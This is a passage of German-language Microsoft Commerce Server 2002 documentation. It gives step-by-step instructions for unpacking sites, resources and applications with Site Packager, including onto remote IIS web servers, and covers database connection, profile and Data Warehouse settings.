  2. Wählen Sie im Dialogfeld Ressourcen auswählen die hinzuzufügenden Ressourcen aus, klicken Sie auf Hinzufügen und anschließend auf Weiter.

    Hinweis

    • Im Dialogfeld Ressourcen auswählen müssen Sie die Ressourcen CS-Authentifizierung und Profile gemeinsam installieren. Sie sind nur funktionsfähig, wenn beide installiert sind.
  3. Wählen Sie im Dialogfeld Globale Ressourcenzeiger den vorhandenen globalen Ressourcenzeiger aus, dem Sie eine neue oder vorhandene globale Ressource zuweisen möchten. Wählen Sie im Dialogfeld Vorhandene globale Ressourcen die globale Ressource aus, die Sie dem ausgewählten globalen Ressourcenzeiger hinzufügen möchten, und klicken Sie anschließend auf Weiter.

    Im Dialogfeld Datenbank-Verbindungszeichenfolgen sind die Datenbanken aufgeführt, die Site Packager erstellen wird, sowie die Server, auf denen die Datenbanken erstellt werden.

  4. Wenn Sie die Datenbanken und Server ändern möchten, wählen Sie in der Spalte Ressource eine Ressource aus, und klicken Sie anschließend auf Ändern.
  5. Wählen Sie im Dialogfeld Datenverknüpfungseigenschaften entweder den neuen Datenbanknamen und Servernamen aus oder geben Sie diese Namen ein, klicken Sie auf OK, und klicken Sie anschließend auf Weiter.

    Wenn Sie eine Datenbank-Verbindungszeichenfolge kopieren möchten, wählen Sie die Zeile mit der zu kopierenden Verbindungszeichenfolge aus, und klicken Sie anschließend auf Ändern. Wählen Sie im Dialogfeld Datenverknüpfungseigenschaften entweder den zu kopierenden Datenbanknamen und Servernamen aus oder geben Sie diese Namen ein, und klicken Sie anschließend auf OK. Wählen Sie im Dialogfeld Datenbank-Verbindungszeichenfolgen die Zeile mit der zu kopierenden Verbindungszeichenfolge aus, und klicken Sie anschließend auf Kopieren. Wählen Sie die Zeile(n) aus, in die Sie die Verbindungszeichenfolge kopieren möchten, und klicken Sie anschließend auf Einfügen.

    Hinweis

    • Die Data Warehouse-Ressource sollte stets in eine separate Datenbank entpackt werden.

    Falls von Site Packager eine Datenbank erstellt werden muss, wird das Dialogfeld Commerce Server Site Packager angezeigt. Die von Ihnen in dieses Dialogfeld gegebenen Informationen werden verwendet, um eine Verbindung zur Master-Datenbank Ihrer SQL Server-Installation herzustellen.

  6. Führen Sie im Dialogfeld Commerce Server Site Packager folgende Schritte aus:
    Funktion | Aktion
    Integrierte Sicherheit von Windows verwenden Wählen Sie diese Option, wenn Sie für die Datenbanken die integrierte Windows-Authentifizierung verwenden möchten.

    Dies ist die empfohlene Konfiguration.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Wählen Sie diese Option, wenn Sie für Verbindungen mit der Datenbank die SQL Server-Authentifizierung verwenden möchten. Von dieser Konfiguration wird abgeraten.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen für die Datenbanken ein. Von dieser Konfiguration wird abgeraten.
    SQL Server-Anmeldekennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein. Von dieser Konfiguration wird abgeraten.
  7. Klicken Sie auf OK.
  8. Überprüfen Sie im Dialogfeld Anwendungen auswählen, ob die zu entpackenden Anwendungen ausgewählt sind. Klicken Sie dann auf Weiter.
  9. Nehmen Sie im Dialogfeld Wählen Sie IIS-Computer, -Websites und -Pfade aus die folgenden Einstellungen vor:
    Funktion | Aktion
    IIS-Computername Geben Sie den Computernamen des IIS-Webservers ein, auf dem Sie die Anwendungsdateien entpacken möchten.

    Klicken Sie zum Aktualisieren der Liste der Websites auf dem Remotecomputer auf Aktualisieren.
    IIS-Website Wählen Sie den Namen der IIS-Website für die ausgewählten Anwendungen aus.

    Hinweis

    • Wenn Sie eine Site in der Verwaltungswebsite von IIS entpacken, sind die Site und Business Desk aufgrund der Sicherheitsbeschränkungen für die IIS-Verwaltung nicht funktionsfähig.
    IIS-Pfad | Geben Sie den Namen des IIS-Pfads für die ausgewählten Anwendungen ein.

    Hinweise

    • Site Packager entpackt jede Anwendung im Basisverzeichnis der jeweiligen IIS-Website. Im Basisverzeichnis erstellt Site Packager ein Unterverzeichnis mit dem Namen des virtuellen IIS-Verzeichnisses der Anwendung.
    • Wenn Sie die Anwendung in den Stamm der Website entpacken möchten, können Sie wahlweise das Zeichen "/" verwenden oder das Feld leer lassen.
  10. Klicken Sie auf Weiter.

    Wenn beim Installationsprozess die Ressource Data Warehouse hinzugefügt wurde, wird das Dialogfeld Data Warehouse angezeigt.

  11. Führen Sie zum Festlegen der Einstellungen für die Ressource Data Warehouse folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für die globale Data Warehouse-Ressource ein.
    Server Geben Sie den Namen des OLAP-Computers (SQL-Analyse) ein.

    Hinweis

    • Die Data Warehouse-Ressource sollte stets auf einem Server installiert werden, auf dem SQL Server als die OLAP-Datenbank ausgeführt wird.
    Datenbank | Eingeben des Namens der SQL Analysis (OLAP)-Datenbank.
  12. Klicken Sie auf OK.

    Wenn der Site die Ressource Profile hinzugefügt wurde, wird das erste von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt.

  13. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.

    Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:

    Funktion Aktion
    Profilschemadefinition Beim Packen der Site extrahiert Site Packager das Profilschema aus Ihrer Profildatenbank und speichert es in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei ProfileDefinition. Die Datei enthält folgende Profildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.
    Sitebegriffsdefinition Beim Packen der Site extrahiert Site Packager die Sitebegriffsdefinition aus der Datenbank und speichert sie in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei SiteTerms. Die Datei enthält die verfügbaren vordefinierten Sitebegriffe.
    Ausdrucksdefinition Beim Packen der Site extrahiert Site Packager die von Ihnen mithilfe von Business Desk festgelegten Ausdruckdefinitionen und speichert sie in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, wird eine Standard-XML-Datei mit der Bezeichnung ExpressionDefinition bereitgestellt. Die Datei enthält keine vordefinierten Ausdrücke für die Lösungssite.
  14. Klicken Sie auf Weiter.

    Wenn der Site die Ressource Profile hinzugefügt wurde, wird das zweite von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt.

  15. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.

    Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:

    Funktion Aktion
    Verbindungszeichenfolge für das Profilsystem Übernehmen Sie die standardmäßig vorgeschlagene Verbindungszeichenfolge für die Profildatenbank, oder klicken Sie auf Ändern, um eine neue Verbindungszeichenfolge zu konfigurieren.

    Hinweis

    • Wenn Sie die XML-Datei ändern, werden die in der Verbindungszeichenfolge enthaltenen Daten von Commerce Server nicht übernommen. Die neue XML-Datei kann andere Typen sowie eine andere Anzahl zusammengesetzter Datenspeicher als die Standard-XML-Datei enthalten. Sie müssen die Verbindungszeichenfolge daher erneut eingeben.
    Schemadefinitionsskripts (*.sql, *.vbs) Geben Sie das Schemadefinitionsskript an, mit dem die Profiltabellen in den Laufzeitdatenspeichern (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.) erstellt werden sollen.

    Wenn Sie eine Lösungssite entpacken, erstellt SCHEMAUPM_SQLSource.SQLSource die Tabellen für die Standardprofildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.

    Ein Beispielskript finden Sie in der Datei ProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

    Wenn Sie die Benutzerobjekt-Tabelle oder andere Profilschemadefinitionen modifizieren, müssen Sie SQL Server Enterprise Manager verwenden, um ein Skript zu erstellen, das hier verwendet werden kann. Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
    Datenauffüllungsskripts (*.sql) Wenn Sie die Profildaten aus einer Profildatenbank extrahiert haben, können Sie Datenauffüllungsskripts angeben, mit denen Ihre Daten beim Entpacken in die neue Profildatenbank importiert werden.

    Ein Beispielskript mit Daten für zwei Benutzer finden Sie in der Datei PopulateProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

    Weitere Informationen zur Verwendung von Skripts finden Sie unter Verwenden von Skripts mit Site Packager.
  16. Klicken Sie auf OK.
  17. Wenn Sie mit der integrierten Windows-Sicherheit arbeiten, prüfen Sie im Dialogfeld Commerce Server Site Packager die Liste der entpackten Ressourcen, welche für die entsprechenden Windows-Konten Berechtigungen erfordern, und klicken Sie dann auf OK.
  18. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Um die Ereignisliste in der Protokolldatei von Site Packager zu überprüfen, klicken Sie auf Protokolldatei anzeigen.
  19. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

So fügen Sie einer vorhandenen Site Ressourcen des Pakets hinzu

  1. Wählen Sie im Dialogfeld Entpackmethode die Option Einer vorhandenen Site Ressourcen des Pakets hinzufügen, und klicken Sie dann auf Weiter.
  2. Wählen Sie im Dialogfeld Site auswählen die vorhandene Site aus, der Sie die Ressource(n) hinzufügen möchten, und klicken Sie anschließend auf Weiter.
  3. Wählen Sie im Dialogfeld Ressourcen auswählen die hinzuzufügenden Ressourcen aus, klicken Sie auf Hinzufügen und anschließend auf Weiter.

    Hinweis

    • Im Dialogfeld Ressourcen auswählen müssen Sie die Ressourcen CS-Authentifizierung und Profile gemeinsam installieren. Sie sind nur funktionsfähig, wenn beide installiert sind.

    Der Bildschirm Globale Ressourcenzeiger wird angezeigt. Sie verwenden diesen Bildschirm zur Zuordnung vorhandener globaler Ressourcen bzw. zum Erstellen neuer Ressourcen. Dieses Dialogfeld wird auch verwendet, wenn Sie globale Ressourcen bereits auf Ihrem Computer entpackt haben und nun globale Ressourcenzeiger in eine Site entpacken möchten, die die globalen Ressourcen verwenden wird.

  4. Wählen Sie im Dialogfeld Globale Ressourcenzeiger den vorhandenen globalen Ressourcenzeiger aus, dem Sie eine neue oder vorhandene Ressource zuweisen möchten. Wählen Sie im Dialogfeld Vorhandene globale Ressourcen die globale Ressource aus, die Sie dem ausgewählten globalen Ressourcenzeiger hinzufügen möchten, und klicken Sie anschließend auf Weiter.

    Der Bildschirm Datenbank-Verbindungszeichenfolgen wird angezeigt. Auf diesem Bildschirm werden alle Verbindungszeichenfolgen, Servernamen und Datenbanken für die Ressourcen angezeigt, die für die Site installiert werden.

  5. Im Dialogfeld Datenbank-Verbindungszeichenfolgen sind die Datenbanken aufgeführt, die Site Packager erstellen wird, sowie die Server, auf denen die Datenbanken erstellt werden. Zum Ändern der Datenbanken und Server klicken Sie auf Ändern. Wählen Sie im Dialogfeld Datenverknüpfungseigenschaften entweder den neuen Datenbanknamen und Servernamen aus oder geben Sie diese Namen ein, klicken Sie auf OK, und klicken Sie anschließend auf Weiter.

    Falls von Site Packager eine Datenbank erstellt werden muss, wird das Dialogfeld Commerce Server Site Packager angezeigt. Die von Ihnen in dieses Dialogfeld eingegebenen Informationen werden verwendet, um eine Verbindung zur Master-Datenbank Ihrer SQL Server-Installation herzustellen.

  6. Führen Sie im Dialogfeld Commerce Server Site Packager folgende Schritte aus:
    Funktion | Aktion
    Integrierte Sicherheit von Windows verwenden Wählen Sie diese Option, wenn Sie für die Datenbanken die integrierte Windows-Authentifizierung verwenden möchten.

    Dies ist die empfohlene Konfiguration.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Wählen Sie diese Option, wenn Sie für Verbindungen mit der Datenbank die SQL Server-Authentifizierung verwenden möchten.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen für die Datenbanken ein.
    SQL Server-Anmeldekennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein.
  7. Klicken Sie auf OK.
  8. Wenn beim Installationsprozess die Data Warehouse-Ressource hinzugefügt wurde, wird das Dialogfeld Data Warehouse angezeigt. Führen Sie zum Festlegen der Einstellungen für die Ressource Data Warehouse folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für die globale Data Warehouse-Ressource ein.
    Server | Eingeben des Namens des SQL Analysis (OLAP)-Computers.
    Datenbank | Eingeben des Namens der SQL Analysis (OLAP)-Datenbank.
  9. Klicken Sie auf OK.
  10. Wenn der Site die Ressource Profile hinzugefügt wurde, wird das erste von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.

    Führen Sie zum Festlegen der Einstellungen für die Ressource Profile folgende Schritte aus:

    Funktion Aktion
    Profilschemadefinition Beim Packen der Site extrahiert Site Packager das Profilschema aus Ihrer Profildatenbank und speichert es in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei ProfileDefinition. Die Datei enthält folgende Profildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.
    Sitebegriffsdefinition Beim Packen der Site extrahiert Site Packager die Sitebegriffsdefinition aus der Datenbank und speichert sie in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei SiteTerms. Die Datei enthält die verfügbaren vordefinierten Sitebegriffe.
    Ausdrucksdefinition Beim Packen der Site extrahiert Site Packager die von Ihnen mithilfe von Business Desk festgelegten Ausdruckdefinitionen und speichert sie in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, wird eine Standard-XML-Datei mit der Bezeichnung ExpressionDefinition bereitgestellt. Die Datei enthält keine vordefinierten Ausdrücke für die Lösungssite.
  11. Klicken Sie auf Weiter.
  12. Wenn der Site die Ressource Profile hinzugefügt wurde, wird das zweite von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.

    Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:

    Funktion Aktion
    Verbindungszeichenfolge für das Profilsystem Übernehmen Sie die standardmäßig vorgeschlagene Verbindungszeichenfolge für die Profildatenbank, oder klicken Sie auf Ändern, um die Verbindungszeichenfolge zu konfigurieren.

    Hinweis

    • Wenn Sie die XML-Datei ändern, werden die in der Verbindungszeichenfolge enthaltenen Daten von Commerce Server nicht übernommen. Die neue XML-Datei kann andere Typen sowie eine andere Anzahl zusammengesetzter Datenspeicher als die Standard-XML-Datei enthalten. Sie müssen die Verbindungszeichenfolge daher erneut eingeben.
    Schemadefinitionsskripts (*.sql, *.vbs) Geben Sie das Schemadefinitionsskript an, mit dem die Profiltabellen in den Laufzeitdatenspeichern (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.) erstellt werden sollen.

    Wenn Sie eine Lösungssite entpacken, erstellt SCHEMAUPM_SQLSource.SQLSource die Tabellen für die Standardprofildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.

    Ein Beispielskript finden Sie in der Datei ProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

    Wenn Sie die Benutzerobjekt-Tabelle oder andere Profilschemadefinitionen modifizieren, müssen Sie SQL Server Enterprise Manager verwenden, um ein Skript zu erstellen, das hier verwendet werden kann. Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
    Datenauffüllungsskripts (*.sql) Wenn Sie die Profildaten aus einer Profildatenbank extrahiert haben, können Sie Datenauffüllungsskripts angeben, mit denen Ihre Daten beim Entpacken in die neue Profildatenbank importiert werden.

    Ein Beispielskript mit Daten für zwei Benutzer finden Sie in der Datei PopulateProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.
  13. Klicken Sie auf OK.
  14. Wenn Sie mit der integrierten Windows-Sicherheit arbeiten, prüfen Sie im Dialogfeld Commerce Server Site Packager die Liste der entpackten Ressourcen, welche für die entsprechenden Windows-Konten Berechtigungen erfordern, und klicken Sie dann auf OK.
  15. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Um die Ereignisliste in der Protokolldatei von Site Packager zu überprüfen, klicken Sie auf Protokolldatei anzeigen.
  16. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

So fügen Sie einer vorhandenen Site eine Anwendung des Pakets hinzu

  1. Wählen Sie im Dialogfeld Entpackmethode die Option Einer vorhandenen Site eine Anwendung des Pakets hinzufügen, und klicken Sie dann auf Weiter.
  2. Wählen Sie im Dialogfeld Site auswählen die vorhandene Site aus, der Sie die Anwendung hinzufügen möchten, und klicken Sie anschließend auf Weiter.
  3. Wählen Sie im Dialogfeld Anwendungen auswählen die Elemente, die Sie entpacken möchten, und klicken Sie dann auf Weiter.
  4. Nehmen Sie im Dialogfeld Wählen Sie IIS-Computer, -Websites und -Pfade aus die folgenden Einstellungen vor:
    Funktion | Aktion
    IIS-Computername Geben Sie den Computernamen des IIS-Webservers ein, auf dem Sie die Anwendungsdateien entpacken möchten.

    Klicken Sie zum Aktualisieren der Liste der Websites auf dem Remotecomputer auf Aktualisieren.
    IIS-Website Wählen Sie den Namen der IIS-Website für die ausgewählten Anwendungen aus.

    Hinweis

    • Wenn Sie eine Site in der Verwaltungswebsite von IIS entpacken, sind die Site und Business Desk aufgrund der Sicherheitsbeschränkungen für die IIS-Verwaltung nicht funktionsfähig.
    IIS-Pfad | Geben Sie den Namen des IIS-Pfads für die ausgewählten Anwendungen ein.

    Hinweise

    • Site Packager entpackt jede Anwendung im Basisverzeichnis der jeweiligen IIS-Website. Im Basisverzeichnis erstellt Site Packager ein Unterverzeichnis mit dem Namen des virtuellen IIS-Verzeichnisses der Anwendung.
    • Wenn Sie die Anwendung in den Stamm der Website entpacken möchten, können Sie wahlweise das Zeichen "/" verwenden oder das Feld leer lassen.
  5. Klicken Sie auf Weiter.
  6. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Um die Ereignisliste in der Protokolldatei von Site Packager zu überprüfen, klicken Sie auf Protokolldatei anzeigen.
  7. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

So fügen Sie einer vorhandenen Anwendung in einer vorhandenen Site einen Webserver hinzu

  1. Wählen Sie im Dialogfeld Entpackmethode die Option Einer vorhandenen Anwendung in einer vorhandenen Site einen Webserver hinzufügen, und klicken Sie dann auf Weiter.
  2. Wählen Sie im Dialogfeld Site auswählen die vorhandene Site aus, der Sie einen Server hinzufügen möchten, und klicken Sie anschließend auf Weiter.
  3. Wählen Sie im Dialogfeld Anwendungen auswählen die Elemente, die Sie entpacken möchten, und klicken Sie dann auf Weiter.
  4. Nehmen Sie im Dialogfeld Wählen Sie IIS-Computer, -Websites und -Pfade aus die folgenden Einstellungen vor:
    Funktion | Aktion
    IIS-Computername Geben Sie den Computernamen des IIS-Webservers ein, auf dem Sie die Anwendungsdateien entpacken möchten.

    Klicken Sie zum Aktualisieren der Liste der Websites auf dem Remotecomputer auf Aktualisieren.
    IIS-Website Wählen Sie den Namen der IIS-Website für die ausgewählten Anwendungen aus.

    Hinweis

    Wenn Sie eine Site in der Verwaltungswebsite von IIS entpacken, sind die Site und Business Desk aufgrund der Sicherheitsbeschränkungen für die IIS-Verwaltung nicht funktionsfähig.
    IIS-Pfad | Geben Sie den Namen des IIS-Pfads für die ausgewählten Anwendungen ein.

    Hinweise

    • Site Packager entpackt jede Anwendung im Basisverzeichnis der jeweiligen IIS-Website. Im Basisverzeichnis erstellt Site Packager ein Unterverzeichnis mit dem Namen des virtuellen IIS-Verzeichnisses der Anwendung.
    • Wenn Sie die Anwendung in den Stamm der Website entpacken möchten, können Sie wahlweise das Zeichen "/" verwenden oder das Feld leer lassen.
  5. Klicken Sie auf Weiter.
  6. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Um die Ereignisliste in der Protokolldatei von Site Packager zu überprüfen, klicken Sie auf Protokolldatei anzeigen.
  7. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

Hinweise

  • Unmittelbar nach dem Installieren der Site sowie jedes Mal, wenn Sie grundlegende Änderungen an der Konfiguration der Commerce Server-Bereitstellung vornehmen, sollten Sie die Verwaltungsdatenbank unter einem anderen Namen sichern. Sie können diese Sicherungskopie verwenden, um alle später vorgenommenen Änderungen rückgängig zu machen.
  • Wenn Sie Commerce Server-Datenbanken (außer Data Warehouse) auf einem Remotecomputer installieren, kann eine Verzögerung auftreten, bevor diese Datenbanken auf dem Remotecomputer angezeigt werden.
  • Wenn Sie eine Anwendung erstellen, enthält das Stammverzeichnis der Anwendung möglicherweise ein Skript mit der Bezeichnung UNPACK.VBS (wenn Sie die leere Site entpacken, ist kein solches Skript vorhanden). Diese Datei muss sofort nach dem Entpacken gelöscht oder gesichert werden. Anonyme Benutzer können auf die Datei zugreifen. Eine nicht autorisierte Verwendung dieser Skriptdatei könnte zu einem Denial of Service oder zu einem Verlust von Einstellungen führen. Weitere Informationen zum Sichern der Site finden Sie unter Sichern der Site.
  • Die Datei wird verwendet, wenn eine Site mithilfe von Commerce Server Site Packager entpackt wird.

Siehe auch

Sichern der Site.

Packen einer Site

Ausführen von Site Packager von der Befehlszeile

Problembehandlung bei Site Packager


Entpacken einer Site auf einen Remote-Webserver

In Commerce Server 2002 können Sie einen Remote-Webserver für die Installation der in Ihrem Paket enthaltenen Anwendungen unter Verwendung des Modus Benutzerdefiniertes Entpacken von Site Packager angeben. Beachten Sie die folgenden Anforderungen zum Entpacken einer Site oder Anwendung auf einen Remote-Webserver:

  • Um die Data Warehouse-Ressource entpacken zu können, muss auf dem Computer, auf dem Sie Site Packager ausführen, die Analysis-Manager-Komponente von Analysis Services installiert sein. Die Analysis-Datenbank muss sich nicht auf demselben Computer befinden, auf dem Sie die Lösungssite entpackt haben.
  • Auf dem Remote-Webserver müssen bereits Internetinformationsdienste (IIS) 5.0, Commerce Server 2002 und die Analysis-Datenbank installiert sein.
  • Wenn Sie die Data Warehouse-Ressource auf einem Remotecomputer entpacken, auf dem nur die Analysis-Manager-Komponente installiert ist (und nicht die vollständigen Analysis Services), erstellen Sie einen neuen Registrierungsschlüssel mit der Bezeichnung Server Connection Info, sodass Analysis-Cubes installiert werden können. Erstellen Sie diesen Schlüssel im Verzeichnis HKEY_LOCAL_MACHINE\Software\Microsoft\Olap Server. Verwenden Sie dazu die beiden folgenden Zeichenfolgenwerte:
    • Locks Directory mit dem Wert Installationslaufwerk_von_Analysis_Server:\\\\Stamminstallationsverzeichnis_von_Analysis_Server>\\bin. Beispiel: <d:\\\\Microsoft Analysis Services\\bin. Dieser Wert gibt den Speicherort an, an dem die Analysis-Manager-Komponenten installiert werden.
    • Remote Locks Directory mit dem Wert MsOLAPRepository$.
  • Mitglieder der Gruppe Administratoren müssen auf dem Remotecomputer über Operator-Rechte für die Website verfügen, auf der Sie Ihre Commerce-Anwendung entpacken möchten. Weitere Informationen finden Sie im Thema "Zuordnen von Operatoren der Website" in der IIS-Onlinehilfe. Zusätzlich muss dem lokalen Site Packager-Computer von IIS der Zugriff auf den Remotecomputer gewährt werden. Weitere Informationen finden Sie im Thema "Gewähren und Verweigern des Zugriffs für Computer" in der IIS-Onlinehilfe. Diese Bedingung wird von Site Packager nicht geprüft. Wenn die Bedingung nicht eingehalten wird, kann die Site nicht entpackt werden. Eine Fehlermeldung wird in diesem Fall nicht angezeigt.
  • Der Administrator, der die Site bzw. Anwendung entpackt, muss Anmeldeinformationen für ein gültiges Windows-Konto bereitstellen, bei dem es sich um ein Mitglied der Gruppe Administratoren auf dem Remotecomputer handeln muss. Diese Bedingung wird von Site Packager nicht geprüft. Wenn die Bedingung nicht eingehalten wird, kann die Site nicht entpackt werden. Eine Fehlermeldung wird in diesem Fall nicht angezeigt.
  • Die Gruppe Administratoren des Remotecomputers muss der lokalen Administratorgruppe zur Erstellung von neuen Ordnern und Dateien Schreibberechtigungen gewähren, die Site Packager auf dem Remotecomputer erstellt. Diese Bedingung wird von Site Packager nicht geprüft. Wenn die Bedingung nicht eingehalten wird, kann die Site nicht entpackt werden. Eine Fehlermeldung wird in diesem Fall nicht angezeigt.
  • Die Anwendung auf dem Remotecomputer muss mit der gleichen Verwaltungsdatenbank wie alle anderen Anwendungen für diese Commerce-Site verknüpft werden. Sie können diese Funktion auch verwenden, um Anwendungen einer Site hinzuzufügen oder Webserver zu einer Anwendung auf einem Remotecomputer hinzuzufügen.

Wenn Sie eine Site auf einem Remote-Webserver entpacken möchten, führen Sie die nachfolgenden Schritte aus.

  1. Mit dem Entpacken einer Site auf einem Remote-Webserver beginnen
  2. Hinzufügen der Ressourcen, die in der neuen Site entpackt werden sollen
  3. Auswählen der zu entpackenden Anwendungen
  4. Festlegen der Einstellungen für die gewählten Ressourcen
  5. Abschließen des Entpackungsprozesses

So beginnen Sie mit dem Entpacken einer Site auf einem Remote-Webserver

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Commerce Site Packager.
  2. Wählen Sie im Dialogfeld Commerce Server Site Packager die Option Aus Paketdatei (*.pup) entpacken aus, und klicken Sie auf Weiter.
  3. Geben Sie im Dialogfeld Entpacken den Pfad und den Dateinamen der zu entpackenden Datei ein, oder klicken Sie auf die Schaltfläche Durchsuchen.

    Nachdem Sie auf die Schaltfläche Durchsuchen geklickt haben, wechseln Sie im Dialogfeld Öffnen zu dem Ordner mit der zu entpackenden Datei, wählen Sie die Datei aus, und klicken Sie anschließend auf Öffnen.

  4. Wenn das Dialogfeld Entpacken wieder angezeigt wird, wählen Sie darin die Option Benutzerdefiniertes Entpacken aus, und klicken Sie anschließend auf Weiter.

Hinzufügen der Ressourcen, die in der neuen Site entpackt werden sollen

  1. Wählen Sie im Dialogfeld Entpackmethode die Option Neue Site erstellen, und klicken Sie anschließend auf Weiter.
  2. Geben Sie im Dialogfeld Sitename den Namen der Site ein, und klicken Sie auf Weiter.

    Hinweise

    • Um Fehler beim Entpacken zu vermeiden, sollten Sie im Sitenamen auf Sonderzeichen verzichten, die von SQL Server-Datenbanken nicht erkannt werden. Weitere Informationen finden Sie in der SQL Server-Onlinedokumentation.
    • Geben Sie keine Sitenamen mit mehr als 127 Single-Byte-Zeichen oder Double-Byte-Zeichen an.
    • Nennen Sie die Site nicht "Commerce". Dies ist ein für die OLAP-Datenbank reservierter Name. Wenn Sie Ihre Site "Commerce" nennen, kann dies beim nächsten Entpacken einer Site zum Verlust Ihrer OLAP-Datenbank führen.
  3. Wählen Sie im Dialogfeld Ressourcen auswählen die hinzuzufügenden Ressourcen aus, und klicken Sie dann auf Weiter.

    Hinweis

    • Im Dialogfeld Ressourcen auswählen müssen Sie die Ressourcen CS-Authentifizierung und Profile gemeinsam installieren. Sie sind nur funktionsfähig, wenn beide installiert sind.
  4. Klicken Sie im Dialogfeld Globale Ressourcenzeiger auf Weiter.

    In diesem Dialogfeld können Sie vorhandene globale Ressourcen zuordnen bzw. neue erstellen.

  5. Im Dialogfeld Datenbank-Verbindungszeichenfolgen sind die Datenbanken aufgeführt, die Site Packager erstellen wird, sowie die Server, auf denen die Datenbanken erstellt werden. Wenn Sie die Datenbanken und Server ändern möchten, klicken Sie auf Ändern, und geben Sie anschließend den bzw. die neuen Datenbank- und Servernamen ein.

    Hinweis

    • Wenn Sie eine Datenbank-Verbindungszeichenfolge kopieren möchten, wählen Sie die Zeile mit der zu kopierenden Verbindungszeichenfolge aus, und klicken Sie anschließend auf Ändern. Wählen Sie im Dialogfeld Datenverknüpfungseigenschaften entweder den zu kopierenden Datenbanknamen und Servernamen aus oder geben Sie diese Namen ein, und klicken Sie anschließend auf OK. Wählen Sie im Dialogfeld Datenbank-Verbindungszeichenfolgen die Zeile mit der zu kopierenden Verbindungszeichenfolge aus, und klicken Sie anschließend auf Kopieren. Wählen Sie die Zeile(n) aus, in die Sie die Verbindungszeichenfolge kopieren möchten, und klicken Sie anschließend auf Einfügen.
  6. Klicken Sie auf Weiter.

    Falls von Site Packager eine Datenbank erstellt werden muss, wird das Dialogfeld Commerce Server Site Packager angezeigt. Die von Ihnen in dieses Dialogfeld gegebenen Informationen werden verwendet, um eine Verbindung zur Master-Datenbank Ihrer SQL Server-Installation herzustellen.

  7. Führen Sie im Dialogfeld Commerce Server Site Packager folgende Schritte aus:
    Funktion | Aktion
    Integrierte Sicherheit von Windows verwenden Wählen Sie diese Option, wenn Sie für die Datenbanken die integrierte Windows-Authentifizierung verwenden möchten.

    Dies ist die empfohlene Konfiguration.

    Wenn Sie die integrierte Sicherheit von Windows verwenden, werden Benutzernamen und Kennwörter nicht in SQL Server-Verbindungszeichenfolgen gespeichert. Das Rücksetzen des SQL-Kennworts hat keine Auswirkung auf die Benutzernamen und Kennwörter. Informationen zur Sicherheit von Commerce Server finden Sie unter "Sichern der Site" in der Hilfe zu Commerce Server.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Wählen Sie diese Option, wenn Sie für Verbindungen mit der Datenbank die SQL Server-Authentifizierung verwenden möchten.
